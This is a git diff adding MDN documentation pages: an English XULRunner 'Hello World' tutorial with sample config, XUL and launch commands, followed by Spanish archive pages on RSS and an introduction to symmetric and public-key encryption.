+<p>Time to start a simple, bare bones application shell. Call it a XUL “Hello World” if you want. All of what you see below can be found in the <a href="/en-US/docs/XULRunner" title="/en-US/docs/XULRunner">XULRunner</a> documentation here on MDC in much more detail.</p>
+
+<div class="note">
+<p><strong>Hint:</strong> Skip ahead and download the sample application, you can experiment with it while following this tutorial. You can download the sample application from <a href="https://github.com/matthewkastor/XULRunner-Examples" title="https://github.com/matthewkastor/XULRunner-Examples">https://github.com/matthewkastor/XULRunner-Examples</a>. Please continue reading to learn the "what", "why" and "how" parts of building a XULRunner application.</p>
+</div>
+
+<p>On Windows, I created the root in a new <code>c:\program files\myapp</code> folder, but you can create it wherever you like, using whatever OS you like. The same application structure is used on Windows, Mac and Linux. Here is the subfolder structure:</p>
+
+<pre>+ myapp/
+|
++-+ chrome/
+| |
+| +-+ content/
+| | |
+| | +-- main.xul
+| | |
+| | +-- main.js
+| |
+| +-- chrome.manifest
+|
++-+ defaults/
+| |
+| +-+ preferences/
+|   |
+|   +-- prefs.js
+|
++-- application.ini
+|
++-- chrome.manifest
+</pre>
+
+<p>Notice that there are 5 files in the folder structure: <code>application.ini</code>, <code>chrome.manifest (2)</code>, <code>prefs.js</code>, and <code>main.xul</code>. The <code>/chrome/chrome.manifest</code> file is optional, but might be useful for backward compatibility. See the note below.</p>
+
+<div class="note">
+<p>For more details on the structure of installable bundles in general see: <a href="/en-US/docs/Bundles" title="/en-US/docs/Bundles">Structure of an installable bundle</a>.</p>
+</div>
+
+<div class="note"><strong>Note:</strong> In XULRunner 2.0, the chrome.manifest is now used to register XPCOM components in addition to its previous uses. Part of this change means the <code>/chrome/chrome.manifest</code> is no longer considered the "root" manifest. XULRunner will not check that folder location for a root-level <code>chrome.manifest</code>. You need to move your existing chrome.manifest to the application root folder, remembering to update the relative paths within the file. You could also just create a new application root-level manifest that includes the <code>/chrome/chrome.manifest</code>, which is what this tutorial will do.</div>
+
+<h2 id="Step_4:_Set_up_application.ini" name="Step_4:_Set_up_application.ini">Step 4: <code>Set up application.ini</code></h2>
+
+<p>The<code> <a href="/en-US/docs/XUL_Application_Packaging" title="/en-US/docs/XUL_Application_Packaging">application.ini</a> </code>file acts as the XULRunner entry point for your application. It specifies how your application intends to use the XULRunner platform as well as configure some information that XULRunner uses to run your application. Here is mine:</p>
+
+<pre>[App]
+Vendor=XULTest
+Name=myapp
+Version=1.0
+BuildID=20100901
+ID=xulapp@xultest.org
+
+[Gecko]
+MinVersion=1.8
+MaxVersion=200.*
+</pre>
+
+<div class="note"><strong>Note:</strong> The <code>MinVersion</code> and <code>MaxVersion</code> fields indicate the range of Gecko versions your application is compatible with; make sure that you set them so that the version of XULRunner you're using is in that range, or your application won't work.</div>
+
+<div class="note"><strong>Note</strong>: Make sure your application name is lowercase and longer than 3 characters</div>
+
+<h2 id="Step_5:_Set_up_the_chrome_manifest" name="Step_5:_Set_up_the_chrome_manifest">Step 5: Set up the chrome manifest</h2>
+
+<p>The <a href="/en-US/docs/Chrome_Registration" title="/en-US/docs/Chrome_Registration">chrome manifest</a> file is used by XULRunner to define specific URIs which in turn are used to locate application resources. This will become clearer when we see how the “chrome://” URI is used. Application chrome can be in a single or a few JAR files or uncompressed as folders and files. I am using the uncompressed method for now. Here is the <code>chrome/chrome.manifest</code>:</p>
+
+<pre class="eval"> content myapp content/
+</pre>
+
+<p>As mentioned in Step 3, the default location of the <code>chrome.manifest</code> has changed in XULRunner 2.0, so we also need a simple <code>chrome.manifest</code> in the <strong>application</strong> root which will include the the manifest in our <strong>chrome</strong> root. Here is the application root <code>chrome.manifest</code>:</p>
+
+<pre>manifest chrome/chrome.manifest</pre>
+
+<h2 id="Step_6:_Set_up_preferences" name="Step_6:_Set_up_preferences">Step 6: Set up preferences</h2>
+
+<p>The <a href="/en-US/docs/Mozilla/Preferences/A_brief_guide_to_Mozilla_preferences" title="/en-US/docs/Mozilla/Preferences/A_brief_guide_to_Mozilla_preferences">prefs.js</a> file tells XULRunner the name of the XUL file to use as the main window. Here is mine:</p>
+
+<pre class="eval">pref("toolkit.defaultChromeURI", "<span class="external">chrome://myapp/content/main.xul</span>");
+
+/* debugging prefs, disable these before you deploy your application! */
+pref("browser.dom.window.dump.enabled", true);
+pref("javascript.options.showInConsole", true);
+pref("javascript.options.strict", true);
+pref("nglayout.debug.disable_xul_cache", true);
+pref("nglayout.debug.disable_xul_fastload", true);
+</pre>
+
+<p>XULRunner specific preferences include:</p>
+
+<dl>
+ <dt><code><a href="/en-US/docs/toolkit.defaultChromeURI" title="/en-US/docs/toolkit.defaultChromeURI">toolkit.defaultChromeURI</a></code></dt>
+ <dd>Specifies the default window to open when the application is launched.</dd>
+ <dt><code><a href="/en-US/docs/toolkit.defaultChromeFeatures" title="/en-US/docs/toolkit.defaultChromeFeatures">toolkit.defaultChromeFeatures</a></code></dt>
+ <dd>Specifies the features passed to <code><a href="/en-US/docs/DOM:window.open" title="/en-US/docs/DOM:window.open">window.open()</a></code> when the main application window is opened.</dd>
+ <dt><code><a href="/en-US/docs/toolkit.singletonWindowType" title="/en-US/docs/toolkit.singletonWindowType">toolkit.singletonWindowType</a></code></dt>
+ <dd>Allows configuring the application to allow only one instance at a time.</dd>
+</dl>
+
+<div class="note">
+<p>The toolkit preferences are described in further detail in <a href="/en-US/docs/XULRunner/Specifying_Startup_Chrome_Window" title="/en-US/docs/XULRunner/Specifying_Startup_Chrome_Window">XULRunner:Specifying Startup Chrome Window</a>.</p>
+
+<p>The debugging preferences are discussed in <a href="/en-US/docs/Debugging_a_XULRunner_Application" title="/en-US/docs/Debugging_a_XULRunner_Application">Debugging a XULRunner Application</a></p>
+</div>
+
+<h2 id="Step_7:_Create_some_XUL" name="Step_7:_Create_some_XUL">Step 7: Create some XUL</h2>
+
+<p>Finally, we need to create a simple <a href="/en-US/docs/XUL/window" title="/en-US/docs/XUL/window">XUL window</a>, which is described in the file <code>main.xul</code>. Nothing fancy here, just the minimum we need to make a window. No menus or anything.</p>
+
+<p>main.xul:</p>
+
+<pre>&lt;?xml version="1.0"?&gt;
+
+&lt;?xml-stylesheet href="chrome://global/skin/" type="text/css"?&gt;
+
+&lt;window id="main" title="My App" width="300" height="300" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+
+  &lt;script type="application/javascript" src="chrome://myapp/content/main.js"/&gt;
+
+  &lt;caption label="Hello World"/&gt;
+  &lt;separator/&gt;
+  &lt;button label="More &gt;&gt;" oncommand="showMore();"/&gt;
+  &lt;separator/&gt;
+  &lt;description id="more-text" hidden="true"&gt;This is a simple XULRunner application. XUL is simple to use and quite powerful and can even be used on mobile devices.&lt;/description&gt;
+
+&lt;/window&gt;
+</pre>
+
+<div class="note"><strong>Note:</strong> Make sure there is no extra whitespace at the beginning of the XML/XUL file</div>
+
+<p>The application also has a JavaScript file. Most XUL applications will include some external JavaScript, so the sample application does too, just to show how to include it into the XUL file.</p>
+
+<p>main.js:</p>
+
+<pre>function showMore() {
+  document.getElementById("more-text").hidden = false;
+}
+</pre>
+
+<div class="note">
+<p>For more information about XUL see: <a href="/en-US/docs/XUL" title="/en-US/docs/XUL">XUL</a>.</p>
+
+<p>For information about mixing HTML elements into your XUL read <a href="/en-US/docs/XUL/Tutorial/Adding_HTML_Elements" title="/en-US/docs/XUL/Tutorial/Adding_HTML_Elements">Adding HTML Elements</a>.</p>
+</div>
+
+<h2 id="Step_8:_Run_the_application" name="Step_8:_Run_the_application">Step 8: Run the application</h2>
+
+<p>The moment of truth. We need to get XULRunner to launch the bare-bones application.</p>
+
+<h3 id="Windows">Windows</h3>
+
+<p>From a Windows command prompt opened to the <code>myapp</code> folder, we should be able to execute this:</p>
+
+<pre class="eval"> C:\path\to\xulrunner.exe application.ini
+</pre>
+
+<p>Of course, if you opted to install xulrunner then you could simply do</p>
+
+<pre>​<span style="font-family: courier new,andale mono,monospace; line-height: normal;">%ProgramFiles%\xulrunner.exe application.ini</span></pre>
+
+<p><span style="font-size: 14px; line-height: 1.572;">or on 64 bit systems</span></p>
+
+<pre>​<span style="font-family: courier new,andale mono,monospace; line-height: normal;">%ProgramFiles(x86)%\xulrunner.exe application.ini</span></pre>
+
+<div class="note">
+<p><span style="font-size: 14px; line-height: 1.572;"><strong>Note</strong>: you can also install your application when you're finished debugging it. See <a href="/en-US/docs/XUL_Application_Packaging" title="/en-US/docs/XUL_Application_Packaging">XUL Application Packaging</a> for details.</span></p>
+</div>
+
+<h3 id="Mac">Mac</h3>
+
+<p>On the Mac, before you can run a XULRunner application with everything intact, you must install it using the <code>--install-app</code> xulrunner commandline flag. Installing the application creates an OS X application bundle:</p>
+
+<pre class="eval"> /Library/Frameworks/XUL.framework/xulrunner-bin --install-app /&lt;path&gt;/&lt;to&gt;/myapp.zip
+</pre>
+
+<p>Once installed, you can run the application:</p>
+
+<pre class="eval"> /Library/Frameworks/XUL.framework/xulrunner-bin "/Applications/Finkle/TestApp.app/Contents/Resources/application.ini"
+</pre>
+
+<p>You may run it without installing (but with the menu bar and dock icon missing) in OS X by typing:</p>
+
+<pre>/Library/Frameworks/XUL.framework/xulrunner-bin "/&lt;full path&gt;/TestApp/application.ini"
+</pre>
+
+<div class="note">
+<p>Note: The full path is required or a "Error: couldn't parse application.ini."-message will be returned.</p>
+</div>
+
+<p>This might also be simplified using a very simple shell script (i call mine "run.sh"):</p>
+
+<pre>#!/bin/sh
+/Library/Frameworks/XUL.framework/xulrunner-bin `pwd`/application.ini
+</pre>
+
+<h3 id="Linux">Linux</h3>
+
+<p>On Ubuntu, you can run the application from a terminal. First change into the <code>\myapp</code> folder, then start the application by:</p>
+
+<pre class="eval"> xulrunner application.ini
+</pre>
+
+<p>You should now see a window that looks something like this. This particular screenshot is from Ubuntu 10.</p>
+
+<p><img alt="myapp-screenshot.png" class="default internal" src="/@api/deki/files/4679/=myapp-screenshot.png"></p>
+
+<h3 id="Alternative:_Use_Firefox3_-app_to_run_XUL_apps" name="Alternative:_Use_Firefox3_-app_to_run_XUL_apps">Alternative: Run XUL apps with Firefox</h3>
+
+<p>With Firefox 3 and later, you can tell the Firefox executable to run a XUL application from the command line. The XUL application will run instead of the Firefox browser that normally starts. This is similar to starting a XUL app using XULRunner. See <a href="/en/XULRunner_tips#Using_Firefox_to_run_XULRunner_applications" title="en/XULRunner_tips#Using_Firefox_to_run_XULRunner_applications">Using Firefox to run XULRunner applications</a>. This does not work if Firefox itself was installed as a XUL app - you need to use the installed XULRunner directly.</p>
+
+<h2 id="Further_Reading">Further Reading:</h2>
+
+<p>There are many things you can do with XULRunner. Before you get too far into things you might want to read the <a href="/en-US/docs/XULRunner_tips" title="/en-US/docs/XULRunner_tips">XULRunner tips</a> article. Also, throughout this tutorial you've been introduced to various bits of the <a href="/en-US/docs/Toolkit_API" title="/en-US/docs/Toolkit_API">Toolkit API</a> and it may help you to get familiar with it. Once you've got an application that's ready for the world you'll love our article titled <a href="/en-US/docs/XULRunner/Deploying_XULRunner_1.8" title="/en-US/docs/XULRunner/Deploying_XULRunner_1.8">Deploying XULRunner</a>.</p>
+
+<p>For now, click the "next" link to learn about windows and menus in XULRunner!</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Windows_and_menus_in_XULRunner">Siguiente  »</a></p>
+</div><p></p>
+
+<div class="originaldocinfo">
+<h2 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h2>
+
+<ul>
+ <li>Author: Mark Finkle, October 2, 2006</li>
+</ul>
+</div>
diff --git a/files/es/archive/rss/index.html b/files/es/archive/rss/index.html
new file mode 100644
index 0000000000..9c9e5988eb
--- /dev/null
+++ b/files/es/archive/rss/index.html
@@ -0,0 +1,56 @@
+---
+title: RSS
+slug: Archive/RSS
+tags:
+  - RSS
+  - Todas_las_Categorías
+translation_of: Archive/RSS
+---
+<p>
+</p>
+<div class="callout-box"><b><a href="es/RSS/Primeros_pasos">RSS:Primeros pasos</a></b><br>
+Tutorial guiado que te ayudará en tu iniciación a RSS.</div>
+<p><b>Sindicación Realmente Simple (RSS)</b> es un formato de datos basado en el lenguaje <a href="es/XML">XML</a> creado para la sindicación de contenidos. RSS tiene una escabrosa historia con multitud de diferentes <a href="es/RSS/Versiones">versiones</a> incompatibles, algunas basadas en <a href="es/RDF">RDF</a>, pero la mayoría basadas solamente en <a href="es/XML">XML</a>. A pesar de esto, RSS es un formato altamente popular, se usa para la distribución de noticias, artículos de blogs, radio y televisión por internet, con una increíble velocidad.
+</p>
+<table class="topicpage-table"> <tbody><tr> <td>
+<h4 id="Documentaci.C3.B3n" name="Documentaci.C3.B3n"> <a>Documentación</a> </h4>
+<dl><dt> <a class="external" href="http://es.geocities.com/rss_guia_facil/">Guía fácil del RSS</a>
+</dt><dd> <small>Una guía que da respuesta a las preguntas básicas: qué, cómo, para qué.</small>
+</dd></dl>
+<dl><dt> <a href="es/RSS/Versiones">Las Versiones de RSS</a>
+</dt><dd> <small>Es tal la diversidad que resulta fácil liarse, diferentes grupos han creado especificaciones de forma unilateral que han llamado RSS. Intentaremos poner un poco de orden.</small>
+</dd></dl>
+<dl><dt> <a href="es/A%c3%b1adir_lectores_de_canales_a_Firefox">Añadir lectores de canales a Firefox</a>
+</dt><dd> <small>Firefox puede seleccionar diferentes lectores de RSS o canales Atom. Este artículo provee información acerca de como añadir soporte para lectores adicionales no soportados por defecto.</small>
+</dd></dl>
+<dl><dt> <a href="es/API_de_acceso_a_canales">API de acceso a canales</a>
+</dt><dd> <small>Firefox 2 y Thunderbird 2 introducen una serie de interfaces que la hacen más sencillo que los autores de extensiones accedan a los canales RSS y Atom.</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://www.rssboard.org/rss-specification">RSS 2.0 Specification <small>(en)</small></a>
+</dt><dd> <small>This is version 2.0.8 of the RSS 2.0 specification, published by the RSS Advisory Board on Aug. 12, 2006.</small>
+</dd></dl>
+<p><span class="alllinks"><a>Ver más</a></span> </p>
+</td> <td>
+<h4 id="Comunidad" name="Comunidad"> Comunidad </h4>
+<ul><li> Foros sobre XML en la comunidad Mozilla en inglés
+</li></ul>
+<p></p><ul>
+  <li><a href="https://lists.mozilla.org/listinfo/dev-tech-xml"> como lista de correo</a></li>
+
+
+  <li><a href="http://groups.google.com/group/mozilla.dev.tech.xml"> como grupo de noticias</a></li>
+  <li><a href="http://groups.google.com/group/mozilla.dev.tech.xml/feeds"> como RSS</a></li>
+</ul>
+<p></p><p><span class="alllinks"><a href="es/RSS/Comunidad">Ver más</a></span> </p>
+<h4 id="Herramientas" name="Herramientas"> Herramientas </h4>
+<ul><li> <a class="external" href="http://validator.w3.org/feed/check.cgi">Sevicio Web de validación del W3C</a> </li><li> <a class="link-https" href="https://addons.mozilla.org/firefox/2294/">RSS validator</a> extensión para Firefox
+</li></ul>
+<p><span class="alllinks"><a>Ver más</a></span> </p>
+<h4 id="Temas_relacionados" name="Temas_relacionados"> Temas relacionados </h4>
+<dl><dd> <a href="es/RDF">RDF</a>, <a href="es/XML">XML</a>
+</dd></dl>
+</td> </tr> </tbody></table>
+<p><span class="comment">Categorías</span>
+</p><p><span class="comment">Interwiki Language Links</span>
+</p><p><br>
+</p>
diff --git a/files/es/archive/rss/primeros_pasos/index.html b/files/es/archive/rss/primeros_pasos/index.html
new file mode 100644
index 0000000000..17441f6534
--- /dev/null
+++ b/files/es/archive/rss/primeros_pasos/index.html
@@ -0,0 +1,53 @@
+---
+title: Primeros pasos
+slug: Archive/RSS/Primeros_pasos
+tags:
+  - RSS
+  - 'RSS:Primeros_pasos'
+  - Todas_las_Categorías
+translation_of: Archive/RSS/Getting_Started
+---
+<p>
+</p>
+<h3 id="Introducci.C3.B3n" name="Introducci.C3.B3n"> Introducción </h3>
+<p>Este tutorial es una introducción a la <b>Sindicación Realmente simple</b> (RSS).
+</p><p>Le guiará, paso a paso por los fundamentos de RSS y le mostrará ejemplos funcionales. Este tutorial sigue el mantra que dice: <i>el mejor modo de aprender es hacer</i>. Por ello, usted creará sus propios archivos RSS a mano.
+</p>
+<h4 id=".C2.BFQui.C3.A9n_deber.C3.ADa_usar_este_tutorial.3F" name=".C2.BFQui.C3.A9n_deber.C3.ADa_usar_este_tutorial.3F"> ¿Quién debería usar este tutorial? </h4>
+<p>En principio, este tutorial está destinado a los principiantes en RSS (es decir, aquellos con poca o ninguna experiencia previa en RSS). Sin embargo, los experimentados en RSS también pueden encontrarlo útil como guia de refresco.
+</p><p>Este tutorial asume que usted tiene un mínimo de experiencia con <a href="es/HTML">HTML</a> (o <a href="es/XML">XML</a>) y que usted conoce los fundamentos del marcado. En otras palabras, que un código como este no le asusta:
+</p>
+<pre class="eval">  &lt;p&gt;Esto es un párrafo marcado con etiquetas&lt;/p&gt;
+</pre>
+<p>Si usted entiende esto, no debería tener ningún problema aprendiendo RSS.
+</p>
+<div class="note">
+<p><b>NOTA</b>: Si usted no es un desarrollador web y ni quiere serlo, entonces este tutorial no es para usted. Usted tiene que estár cómodo escribiendo código para poder usar con eficacia este tutorial.
+</p>
+</div>
+<h4 id=".C2.BFQu.C3.A9_necesita_usted_antes_de_empezar.3F" name=".C2.BFQu.C3.A9_necesita_usted_antes_de_empezar.3F"> ¿Qué necesita usted antes de empezar? </h4>
+<p>Para aprobechar al máximo este tutorial, usted necesitará un editor de textos y un lector RSS. Además, usted también necesitaría saber usarlos.
+</p>
+<div class="note">
+<p><b>NOTE</b>: A word processor is not a text editor. If a word processor is used, you MUST make sure to save your RSS files in a (pure and plain) text format.
+</p>
+</div>
+<p>Usted no está obligado a crear archivos RSS siguiendo este tutorial (usted puede leerlo sin más), pero este sería un método de aprendizaje poco eficaz. Entenderá las cosas y retendrá la información mucho mejor si crea los archivos RSS usted mismo.
+</p><p><br>
+</p>
+<h4 id=".C2.BFC.C3.B3mo_usar_este_manual.3F" name=".C2.BFC.C3.B3mo_usar_este_manual.3F"> ¿Cómo usar este manual? </h4>
+<p>Aunque cada página de este tutorial ha sido escrita de modo que pueda actuar como un tutorial independiente, cuando usted lee una página se asume que ya posee los conocimientos esplicados en las páginas anteriores. Usted puede consultar cualquier punto del tutorial cuando desee, pero sugerimos a los principiantes en RSS que lean este tutorial de manera ordenada.
+</p>
+<h3 id="Tutorial" name="Tutorial"> Tutorial </h3>
+<ol><li><b><a href="es/RSS/Getting_Started/Qu%c3%a9_es_RSS">¿Qué es RSS?</a></b>
+</li><li><b><a href="es/RSS/Getting_Started/Por_qu%c3%a9_usar_RSS">¿Por qué usar RSS?</a></b>
+</li><li><b><a href="es/RSS/Getting_Started/C%c3%b3mo_funciona_RSS">¿Cómo funciona RSS?</a></b>
+</li><li><b><a href="es/RSS/Getting_Started/Hola_mundo">Hola mundo</a></b>
+</li><li><b><a href="es/RSS/Getting_Started/Sindicaci%c3%b3n">Sindicación</a></b>
+</li><li><b><a href="es/RSS/Getting_Started/Blogs">Blogs</a></b>
+</li><li><b><a href="es/RSS/Getting_Started/Broadcatching">Broadcatching</a></b>
+</li><li><b><a href="es/RSS/Getting_Started/Microformatos">Microformatos</a></b>
+</li><li><b><a href="es/RSS/Getting_Started/Broadcatching_avanzado">Broadcatching avanzado</a></b>
+</li></ol>
+<div class="noinclude">
+</div>
diff --git a/files/es/archive/rss/versiones/index.html b/files/es/archive/rss/versiones/index.html
new file mode 100644
index 0000000000..5b3af37cf7
--- /dev/null
+++ b/files/es/archive/rss/versiones/index.html
@@ -0,0 +1,115 @@
+---
+title: Versiones
+slug: Archive/RSS/Versiones
+tags:
+  - RSS
+translation_of: Archive/RSS/Version
+---
+<h2 id="Versiones_de_RSS" name="Versiones_de_RSS">Versiones de RSS</h2>
+
+<p>La historia de RSS ha sido agitada. Personas y grupos dispares han ido creado, prácticamente de modo independiente, especificaciones a las que llamaron RSS. Algunos formatos de RSS están basados en <a href="es/XML">XML</a> y otros lo están en <a href="es/RDF">RDF</a>.</p>
+
+<p>La lista mostrada a continuación muestra todas las versiones de RSS conocidas. Están listadas cronológicamente según su fecha de publicación.</p>
+
+<div class="note">
+<p><strong>NOTA</strong>: En la siguiente lista, aunque parezca que RSS 1.0 está fuera de lugar, cronológicamente está en el puesto que le corresponde.</p>
+</div>
+
+<div class="note">
+<p><strong>NOTA</strong>: Hay 3 versiones diferentes de <a href="es/RSS/Versiones/0.91">RSS 0.91</a>: RSS 0.91 (Revisión 1) de Netscape, RSS 0.91 (Revisión 3) de Netscape y RSS 0.91 de Userland. Estrictamente hablando, la versión de Userland RSS 0.91 es un subconjunto de la versión de Netscape RSS 0.91.</p>
+</div>
+
+<div class="note">
+<p><strong>NOTA</strong>: RSS 0.93 y RSS 0.94 sólo se publicaron como borrador (<em>draft</em>) y nunca vieron su versión final, aunque esto no significa que no se utilicen.</p>
+</div>
+
+<p> </p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Nombre</th>
+   <th>Estado</th>
+   <th>Fecha de publicación</th>
+   <th>Basado en</th>
+   <th>Autor</th>
+  </tr>
+  <tr>
+   <td><a href="es/RSS/Version/0.90">RSS 0.90</a></td>
+   <td><span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span></td>
+   <td class="small">Marzo de 1999</td>
+   <td><a href="es/RDF">RDF</a></td>
+   <td class="small">Netscape</td>
+  </tr>
+  <tr>
+   <td><a href="es/RSS/Version/0.91/Netscape/Revision_1">Netscape's RSS 0.91 (Revision 1)</a></td>
+   <td><span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span></td>
+   <td class="small">?</td>
+   <td><a href="es/XML">XML</a></td>
+   <td class="small">Netscape</td>
+  </tr>
+  <tr>
+   <td><a href="es/RSS/Version/0.91/Netscape/Revision_3">Netscape's RSS 0.91 Revision 3</a></td>
+   <td><span title="This is an obsolete API and is no longer guaranteed to work."><i class="icon-trash"> </i></span></td>
+   <td class="small">10 de Julio de 1999</td>
+   <td><a href="es/XML">XML</a></td>
+   <td class="small">Netscape</td>
+  </tr>
+  <tr>
+   <td><a href="es/RSS/Version/0.91/Userland">Userland's RSS 0.91</a></td>
+   <td><span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span></td>
+   <td class="small">4 de Junio de 2000</td>
+   <td><a href="es/XML">XML</a></td>
+   <td class="small">Userland</td>
+  </tr>
+  <tr>
+   <td><a href="es/RSS/Version/1.0">RSS 1.0</a></td>
+   <td>Estándar</td>
+   <td class="small">9 de Diciembre de 2000</td>
+   <td><a href="es/RDF">RDF</a></td>
+   <td class="small">RSS-DEV Working Group</td>
+  </tr>
+  <tr>
+   <td><a href="es/RSS/Version/0.92">RSS 0.92</a></td>
+   <td><span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span></td>
+   <td class="small">25 de Diciembre de 2000</td>
+   <td><a href="es/XML">XML</a></td>
+   <td class="small">Userland</td>
+  </tr>
+  <tr>
+   <td><a href="es/RSS/Version/0.93">RSS 0.93</a></td>
+   <td><span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span></td>
+   <td class="small">20 de Abril de 2001</td>
+   <td><a href="es/XML">XML</a></td>
+   <td class="small">Userland</td>
+  </tr>
+  <tr>
+   <td><a href="es/RSS/Version/0.94">RSS 0.94</a></td>
+   <td><span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span></td>
+   <td class="small">19 de Agosto de 2002</td>
+   <td><a href="es/XML">XML</a></td>
+   <td class="small">Userland</td>
+  </tr>
+  <tr>
+   <td><a href="es/RSS/Version/2.0">RSS 2.0</a></td>
+   <td><span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span></td>
+   <td class="small">Septiembre de 2002</td>
+   <td><a href="es/XML">XML</a></td>
+   <td class="small">Userland</td>
+  </tr>
+  <tr>
+   <td><a href="es/RSS/Version/2.0/2002-11-11">RSS 2.0 (post 2002-11-11)</a></td>
+   <td><span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span></td>
+   <td class="small">11 de Noviembre de 2002</td>
+   <td><a href="es/XML">XML</a></td>
+   <td class="small">Userland</td>
+  </tr>
+  <tr>
+   <td><a href="es/RSS/Version/2.0/2003-01-21">RSS 2.0 (post 2003-01-21)</a></td>
+   <td>Estándar</td>
+   <td class="small">21 de Enero de 2003</td>
+   <td><a href="es/XML">XML</a></td>
+   <td class="small">Userland</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/es/archive/security/encriptación_y_desencriptación/index.html b/files/es/archive/security/encriptación_y_desencriptación/index.html
new file mode 100644
index 0000000000..960149aca3
--- /dev/null
+++ b/files/es/archive/security/encriptación_y_desencriptación/index.html
@@ -0,0 +1,78 @@
+---
+title: Encriptación y Desencriptación
+slug: Archive/Security/Encriptación_y_Desencriptación
+tags:
+  - Seguridad
+  - Tutorial
+translation_of: Archive/Security/Encryption_and_Decryption
+---
+<p><span class="seoSummary">La encriptación es el proceso de transformar información para hacerla ilegible a cualquiera excepto al receptor del mensaje. La desencriptación es el proceso de transformar información encriptada para que sea legible de nuevo.</span> Un algoritmo criptográfico es una función matemática usada for encriptar o desencriptar. En la mayoría de los casos se utilizan dos funciones relacionadas, una para encriptar y otra para desencriptar.</p>
+
+<p>En la criptografía moderna, la habilidad para mantener secreta la información encriptada no está basada en el algoritmo criptográfico, si no que es ampliamente conocido, sino en un número llamado clave que debe ser usado con el algoritmo para producir un reultado encriptado o para desencriptar información previamente encriptada. La desencriptación con la clave correcta es sencilla. La desencriptación sin la clave correcta es muy compleja, y en algunos casos imposible para cualquier caso práctico.</p>
+
+<p>Las siguientes secciones introducen el uso de claves para encriptar y desencriptar.</p>
+
+<ul>
+ <li><a href="#Simetrica">Encriptación de clave simétrica</a></li>
+ <li><a href="#Publica">Encriptación de clave pública</a></li>
+ <li><a href="#Longitud">Longitud de la clave y fuerza de la encriptación</a></li>
+</ul>
+
+<h3 id="Symmetric-Key_Encryption" name="Symmetric-Key_Encryption"><a href="#" id="Simetrica" name="Simetrica">Encriptación de clave simétrica </a></h3>
+
+<p>Con la encriptación de clave simétrica, la clave de encriptación puede ser calculada a partir de la clave de desencriptación y viceversa. En la mayoría de los algoritmos simétricos, se utiliza la misma clave para encriptar y para desencriptar, como se muestra en la Figura 1.</p>
+
+<p><img alt="Figure 1. Symmetric-Key Encryption" class="internal" src="https://mdn.mozillademos.org/files/10303/05scrypt2.png" style="height: 125px; width: 443px;"></p>
+
+<p>Las implementaciones de la encriptación de clave simétrica pueden ser muy eficientes, con el fin de que los usuarios no tengan que esperar como resultado de una encriptación o una desencriptación. La encriptación de clave simétrica también provee cierto grado de autenticación, ya que la información encriptada no puede ser desencriptada con ninguna otra clave simétrica. Así, mientras que la clave simétrica se mantiene secreta entre las dos partes usándola para encriptar comunicaciones, cada parte puede estar segura que se está comunicando con la otra mientras que los mensajes desencriptados tengan sentido.</p>
+
+<p>La encriptación de clave simétrica sólo es efectiva si la clave simétrica se mantiene en secreto por ambas partes. Si cualquier otro descubre la clave, afecta tanto a la confidencialidad como a la autenticación. Una persona con una clave simétrica no autorizada puede no sólo desencriptar mensajes enviados con esa clave, sino que además puede encriptar nuevos mensajes y enviarlos como si viniese de una de las dos partes que orginalmente sabían la clave.</p>
+
+<p>La encriptación de clave simétrica juega un papel importante en el protocolo SSL, que es muy usado en autenticación y en encriptación sobre redes TCP/IP. SSL también usa técnicas de encriptación de clave pública, descrita en la siguiente sección.</p>
+
+<h3 id="Public-Key_Encryption" name="Public-Key_Encryption"><a name="Publica">Encriptación de clave pública</a></h3>
+
+<p>Las implementaciones más usadas de encriptación de clave pública están basadas en algoritmos patentados por Seguridad de datos RSA. Por lo tanto, esta sección describe el enfoque de RSA a la encriptación de clave pública.</p>
+
+<p>La encriptación de clave pública (también llamada encriptación asimétrica) involucra un par de claves --una clave pública y una clave privada-- asociadas a una entidad que necesita autenticar su identidad electrónicamente o firmar información encriptada. Cada clave pública es publicada, y la correspondiente clave privada se mantiene secreta. La información encriptada con la clave pública sólo puede ser desencriptada con la clave privada. La Figura 2 muestra un esquema simplificado de cómo funciona una encriptación de clave pública.</p>
+
+<p><img alt="Figure 2. Public-Key Encryption" class="internal" src="https://mdn.mozillademos.org/files/15760/06pcrypt-corrected.png" style="height: 125px; width: 443px;"></p>
+
+<p>El esquema mostrado en la Figura 2 permite distribuir libremente una clave pública, y sólo tú serás capaz de leer información encriptada usando esta clave. En general, para enviar informació encriptada a alguien, encriptas la información con la clave pública de esa persona, y la persona que recibe la información encriptada la desencripta utilizando su correspondiente clave privada.</p>
+
+<p>Comparada con la encriptación de clave simétrica, la encriptación de clave pública requiere más tiempo de cómputo y por lo tanto no es apropiada para   grandes cantidades de datos. Sin embargo, es posible usar encriptación de clave pública para enviar una clave simétrica, que puede entonces ser usada para encriptar información adicional. Este el el enfoque utilizado por el protocolo SSL.</p>
+
+<p>Como es lógico, el inverso del esquema mostrado en la Figura 2 también funciona: la información encriptada con tu clave privada puede ser desecnriptada sólo con tu clave pública. Sin embargo, esta no sería una forma deseable de encriptar datos confidenciales, ya que significa que cualquier persona con tu clave pública, que por definición está publicada, podría descifrar los datos. A pesar de esto, la encriptación de clave privada es útil, porque significa que puedes usar tu clave privada para firmar datos con tu firma digital --un requisito importante para el comercio electrónico y otras aplicación comerciales de criptografía--. Clientes como Firefox pueden entonces usar tu clave pública para confirmar que el mensaje fue firmado con tu clave priivada y que no ha sido manipulado desde que se firmó. Las "<a href="https://developer.mozilla.org/en-US/docs/Archive/Security/Digital_Signatures">Firmas Digitales</a>" describen como funciona este proceso de confirmación.</p>
+
